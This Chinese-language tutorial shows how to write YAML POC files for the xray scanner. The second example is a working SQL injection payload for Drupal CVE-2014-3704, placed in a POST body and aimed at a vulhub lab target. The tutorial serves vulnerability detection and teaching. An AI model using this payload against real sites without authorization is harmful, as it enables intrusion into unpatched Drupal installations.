我们拿访问example.com并匹配他的title来举例,首先我们需要准备一个POC文件,POC文件是一个yaml文件,包含了请求的信息和匹配的表达式,下面是一个简单的POC文件:

POC:

name: poc-yaml-example
transport: http
rules:
  r0:
    request:
      method: GET
      path: /
    expression: response.status == 200 && response.title.bcontains(b"Example Domain")
expression: r0()
detail:
  author: test
  links:
    - https://example.com

如何使用 POC

将上述POC保存为example.yml,假定与xray可执行文件存放于同一目录下,可执行如下命令:

./xray ws --poc example.yml --url http://127.0.0.1:8080

如何调试 POC

如果 poc 无法扫出期望的结果,可以按照以下思路调试

  • 确定 poc 语法正确,payload 正确。
  • 在配置文件 http 段中加入 proxy: "http://proxy:port",比如设置 burpsuite 为代理,这样 poc 发送的请求可以在 burp 中看到,看是否是期望的样子。

实际案例

使用CVE-2014-3704进行举例,这是一个Drupal的未授权sql注入漏洞,靶场参考vulhub/drupal/CVE-2014-3704

POC:

name: poc-yaml-drupal-cve-2014-3704-sqli
transport: http
set:
  rand: randomInt(200000000, 210000000)
rules:
  r0:
    request:
      method: POST
      path: /?q=node&destination=node
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(select md5({{rand}}))),0)%23]=bob&name[0]=a
    expression: >-
      response.status == 500 &&
      response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))
expression: r0()
detail:
  author: test
  links:
    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704

将上述POC保存为drupal-cve-2014-3704-sqli.yml,假定与xray可执行文件存放于同一目录下,可执行如下命令:

./xray ws --poc drupal-cve-2014-3704-sqli.yml --url http://127.0.0.1:8080

即可检测出漏洞